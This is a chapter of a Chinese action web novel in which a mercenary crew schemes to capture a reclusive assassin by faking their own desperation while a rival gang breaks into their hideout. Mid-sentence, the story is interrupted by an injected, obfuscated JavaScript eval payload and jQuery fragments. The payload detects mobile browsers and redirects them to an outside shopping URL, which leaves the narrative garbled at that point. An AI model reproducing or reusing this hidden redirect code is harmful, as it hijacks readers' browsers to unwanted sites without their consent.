“绑架一个杀人不眨眼的幽灵,并让她心甘情愿。这就是我们的新合同。”
莱昂内尔的目光锁在全息屏猩红的【目标Echo】【自愿】【收容】几个词上,指尖轻敲桌面,冷声开口。
任务简报自毁倒计时:60秒
“哦?”司徒凛歪过头,笑了:“Axis,你终于被塔逼疯了?心甘情愿?你猜这位Echo小姐是会礼貌地说‘不谢谢’,还是直接在我们每个人胸口……都开个那样的艺术洞?”
全息屏上,一段雨夜监控正在无声循环。一个男人低头看着自己胸口。
那里有一个洞。一个精确完美到近乎强迫症的洞。
监控拉远。撑着黑伞的背影渐渐离去,从始至终不曾回头。
“根据行为模型,她选择‘开洞’的平均概率是87.3%。”阿利斯泰尔的声音从数据流后平静传来。
“其中,你的概率最高,超过90%。”他看向司徒凛,小鹿眼弯弯。“恭喜,Nox。你最具艺术感染力。”
司徒凛吹了声口哨:“荣幸之至,英国佬。谢谢你的奖状。”
阿利斯泰尔微笑:“不过有个坏消息。她礼貌说‘不谢谢’的概率,是零。”
“好消息呢?”
“好消息是——我们也根本找不到她。”阿利斯泰尔谓叹,“无身份,无痕迹,无社交网络。她是一个完美的……三无产品。”
“所以我们要让她来找我们。”莱昂内尔转过身。
“这次演什么?”司徒凛了然的挑眉。
“演她的同类。”
“我们不像吗?”
“不够惨。”莱昂内尔调出一份暗网文献摘要,“高阶匿名者有种病态倾向——当‘同类’陷入绝境时,他们可能非理性地现身干预。暗网有个名词,‘幸存者强迫症’。”
“她得了这种病。”他轻声总结,“心软是诅咒,善良是绝症。”
司徒凛愣了一下,然后肩膀耸动起来:“所以我们要演一出《落魄流浪狗求收养记》?蹲在墙角发抖,眼泪汪汪,等这位艺术家小姐路过时……大发慈悲?”
倒计时跳动:30秒
莱昂内尔没有笑,他看向角落。
基兰坐在阴影里,冰蓝的眼睛盯着屏幕上的背影,喉结动了动:“等她真的相信了,真的朝我们伸出手……”
“然后我们绑住那只手,交给塔。”莱昂内尔打断他,“任务完成。”
基兰的嘴唇抿成一条苍白的线。
“Lux大圣人,”司徒凛起身,经过他身边时拍了拍他的肩,“道德感在零下二十度会结冰。建议你收好,等回到文明世界再拿出来晒晒。”
倒计时跳动:10秒。
莱昂内尔的手指悬在确认键上。
3。
2。
1。
按下。屏幕归暗,指令销毁。
没有回头路了。
司徒凛伸了个懒腰,走向武器架:“行吧,幽灵话剧团,第一幕——”
话音未落。
砰!砰!砰!
撞击声从外部通道炸开!金属哀鸣混着俄语咒骂,像野兽在撕咬门扉。
所有人瞬间进入战斗状态。
阿利斯泰尔切出监控——三个重甲壮汉正用破门槌撞击第二道气密门。
“识别码?”
“屠夫瓦西里的人。我们三小时前的清理合同。目标是……他弟弟。”
司徒凛愣了一瞬,然后他咧开嘴,无声地笑了。
“……真漂亮。”他舔了舔嘴唇,眼底终于燃起真实的火焰。“这下连演都不用演了。”
他看向莱昂内尔,笑容灿烂。
“现在,我们是真的‘被追杀到走投无路的可怜哨兵’了,对吧,我的船长?”
莱昂内尔没有回答。
他抬手一枪打灭了头顶的主灯。
—
同一时刻。
六条街外。
一把黑色的长柄伞,停在巷子深处。
伞下,一只戴着手套的手,正将撕开的鱼肉肠放在墙角。
一只瘦骨嶙峋的三花猫迟疑地凑近,嗅了嗅,开始狼吞虎咽。
撑伞的人静静等着。
然后,做了一个奇怪的动作。
她将伞柄卡进砖缝,固定成一个斜斜的角度,刚好为那只小猫撑起了一小片无雨的天空。
她自己则转身,走进了渐渐稠密的雨雪中。
没有伞。
黑发很快被雨水打湿,贴在苍白的脸颊和脖颈上。她走得并不快,仿佛只是某个晚归的留学生。
就在她即将汇入地铁口的光亮人潮时——
脚步,极其轻微地,顿了一下。
没有回头。
但她的感知,像无形的水银,悄无声息地漫向某个方向。
隔着六条街的雨、雪、霓虹与嘈杂。
她的睫毛,在雨雪中轻轻颤了一下。
然后,她收回目光。
继续向前走去。
消失在人群里。
—
地下。
第二道气密门在一声巨响中崩裂。
硝烟弥漫。
莱昂内尔靠在掩体后,换弹匣。
司徒凛在他身侧,手里是一把改装过的手枪。他笑得像个孩子:“你说……她会来吗?”
“不知道。”
“但等她来了。”莱昂内尔看向他,绿眸深不见底,“再等她心软,就是收网时。”
司徒凛刚要接话,忽然眉头一皱。
他环顾四周,从左扫到右,从右
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311624|198880||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扫到左。
“……等等。”
基兰抬起头:“怎么了?”
司徒凛没回答。他开始数。
“一。”他自己。
“二。”莱昂内尔。
“三。”基兰。
“四。”阿利斯泰尔从控制台后探出半个白发脑袋。
然后他沉默了。
莱昂内尔看了他一眼:“Nox?”
司徒凛缓缓转过头,表情复杂得像刚发现自己彩票中了奖但彩票被洗了。
“Aegis呢?”
死寂。
基兰眨了眨眼,冰蓝色的眼睛里闪过一丝茫然。莱昂内尔的手指停在半空。阿利斯泰尔从控制台后完全探出脑袋,小鹿眼也开始左右扫描。
没有。那个近两米高、合金面甲会反光、存在感堪比灯塔的红发男人,不在。
频道里传来阿利斯泰尔的声音,带着一丝困惑的平静:“根据最后定位,Aegis的信号出现在……”
他顿了顿。
“……便利店。”
又是死寂。
“便利店?!”司徒凛的声音拔高了八度。
“坐标显示,他正在排队。”阿利斯泰尔补充,“队列长度,四人。预计等待时间,三分二十秒。”
司徒凛闭上眼,深吸一口气。再睁开时,凤眼里已经是一片认命般的死寂。
“他在买什么?”
阿利斯泰尔沉默了一秒,像是在确认数据。
“……面粉。”
“面粉???”司徒凛的声音这次直接破音了。
“他说要做蛋糕吃。”阿利斯泰尔平静地补充。
死寂。
整整两秒。
司徒凛张了张嘴,似乎想说什么——
砰!!!
第三道门被撞开,金属门框扭曲变形,敌人的吼叫和枪声同时炸响。
莱昂内尔已经换好了弹匣,绿眸透过硝烟望向通道深处。
“先干活。”他说。
“那Aegis呢?”基兰问。
频道里,金昱承的声音突然插入,带着一丝心虚的、闷闷的鼻音:
“那个……你们听见了吗?好像有爆炸声?”
司徒凛闭上眼睛。
“听见了,Aegis。那是敌人在砸门。”
“哦。”金昱承顿了一秒,“那我要回来吗?我前面还有两个人。”
“……你他妈排着吧。”司徒凛咬着后槽牙,“顺便给自己订个花圈。”
“为什么?!”
“因为等你回来,我们已经死了。”
司徒凛没有回头,甚至没有睁眼。只是手腕一翻,那把改装手枪在掌心转了一圈——
然后头也不回地,朝着烟尘深处扣下扳机。